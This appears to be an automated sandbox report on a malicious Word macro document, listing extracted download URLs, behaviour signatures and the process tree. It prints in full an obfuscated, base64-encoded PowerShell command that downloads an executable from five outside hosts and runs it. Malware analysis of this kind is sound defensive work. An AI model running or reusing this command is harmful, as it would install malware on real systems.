Analysis
- max time kernel
135s - max time network
128s - platform
windows10_x64 - resource
win10 - submitted
23/07/2020, 07:10
General
- Target BAL_YS9FO1WSRXCPYF.doc
- Size 168KB
- Sample200723-8fn371vmb2
- SHA256 494e554c1bc06afeb22c18fdb6b7687f9c86433f7f2a13d9d4ea5d38569d9e27
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
http://houseofgriffin.org/weblog/v76/
-
exe.dropper
http://hohwy.com/cgi-bin/Bv8y33Cmr/
-
exe.dropper
http://lidermuebles.com.ar/cgi-bin/wz4rxd/
-
exe.dropper
http://106.52.87.250:81/wp-admin/T3B09Z/
-
exe.dropper
http://duhocjk.vn/wp-admin/51f73u/
Signatures
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Blacklisted process makes network request 4 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\BAL_YS9FO1WSRXCPYF.doc" /o ""1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABkAGEAbwBoAGoAbwB1AHQAaAB3AG8AaQB6AD0AJwBoAGUAYQBtAGgAZQBwACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAcgBgAGkAVABZAFAAUgBgAG8AdABvAGMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAawBpAG8AZABtAG8AYQBnACAAPQAgACcAOAA1ADEAJwA7ACQAeABhAGkAdAB4AGEAdQBnAHYAYQBlAHgAcgBvAGkAYwBoAD0AJwB2AGUAZQBwAGIAbwBvAGYAcABvAG8AcQB1ACcAOwAkAGoAZQBvAGwAdwBhAGkAcQB1AGoAbwB1AGQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGsAaQBvAGQAbQBvAGEAZwArACcALgBlAHgAZQAnADsAJABnAGUAdQBjAHQAaABhAHUAZABnAHUAcgBoAGUAdQBkAD0AJwBiAG8AbwBqAGgAaQBsAHQAaABlAGkAYgAnADsAJABrAGUAdQBwAGYAYQBpAGsAdABoAHUAdQBzAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAFcAZQBCAEMAbABpAGUAbgBUADsAJABtAGEAbwBnAHoAbwBlAGcAYwBoAHUAdQBrAD0AJwBoAHQAdABwADoALwAvAGgAbwB1AHMAZQBvAGYAZwByAGkAZgBmAGkAbgAuAG8AcgBnAC8AdwBlAGIAbABvAGcALwB2ADcANgAvACoAaAB0AHQAcAA6AC8ALwBoAG8AaAB3AHkALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBCAHYAOAB5ADMAMwBDAG0AcgAvACoAaAB0AHQAcAA6AC8ALwBsAGkAZABlAHIAbQB1AGUAYgBsAGUAcwAuAGMAbwBtAC4AYQByAC8AYwBnAGkALQBiAGkAbgAvAHcAegA0AHIAeABkAC8AKgBoAHQAdABwADoALwAvADEAMAA2AC4ANQAyAC4AOAA3AC4AMgA1ADAAOgA4ADEALwB3AHAALQBhAGQAbQBpAG4ALwBUADMAQgAwADkAWgAvACoAaAB0AHQAcAA6AC8ALwBkAHUAaABvAGMAagBrAC4AdgBuAC8AdwBwAC0AYQBkAG0AaQBuAC8ANQAxAGYANwAzAHUALwAnAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAGMAdQB1AGQAYgB1AGEAaABkAGkAbwBtAD0AJwB3AG8AdwB0AGkAYQB2AG4AdQBhAGwAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGIAbwBpAG4AbABlAGUAcgB4AHUAbgAgAGkAbgAgACQAbQBhAG8AZwB6AG8AZQBnAGMAaAB1AHUAawApAHsAdAByAHkAewAkAGsAZQB1AHAAZgBhAGkAawB0AGgAdQB1AHMALgAiAEQAbwBgAHcAbgBsAGAAbwBhAGAAZABGAEkATABFACIAKAAkAGIAbwBpAG4AbABlAGUAcgB4AHUAbgAsACAAJABqAGUAbwBsAHcAYQBpAHEAdQBqAG8AdQBkACkAOwAkAGQAdQBhAHcAcQB1AG8AbwB0AGMAaABpAGEAdwA9ACcAawBpAGEAZgBsAGEAaQBkAGwAYQBlAGsAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABqAGUAbwBsAHcAYQBpAHEAdQBqAG8AdQBkACkALgAiAEwAYABFAG4AZwB0AGgAIgAgAC0AZwBlACAAMwAzADYAMQA4ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAZQBgAEEAdABlACIAKAAkAGoAZQBvAGwAdwBhAGkAcQB1AGoAbwB1AGQAKQA7ACQAaABhAHUAYwBqAGEAaQB4AGsAbwBhAHcAZgBlAHUAagA9ACcAawBlAG8AagB4AHUAYwAnADsAYgByAGUAYQBrADsAJAB3AGkAYQBuAG0AYQBjAGgAdABvAGMAZABvAG8AagA9ACcAZwBlAGUAbQBsAGkAaAB6AGUAYQBiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHEAdQBhAGIAcQB1AGEAaQBjAGgAcABhAHcAPQAnAGIAbwBlAHgAdgBlAGEAeAB4AGkAeQAnAA==1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2920-0-0x0000020009E4E000-0x0000020009EB9000-memory.dmp
memory/2920-1-0x0000020009E4E000-0x0000020009EB9000-memory.dmp
memory/2920-2-0x0000020009E4E000-0x0000020009EB9000-memory.dmp
memory/2920-3-0x0000020007ACA000-0x0000020007B0B000-memory.dmp
memory/2920-4-0x000002000A014000-0x000002000A015000-memory.dmp
memory/2920-5-0x000002000A016000-0x000002000A01B000-memory.dmp
memory/2920-6-0x000002000A015000-0x000002000A016000-memory.dmp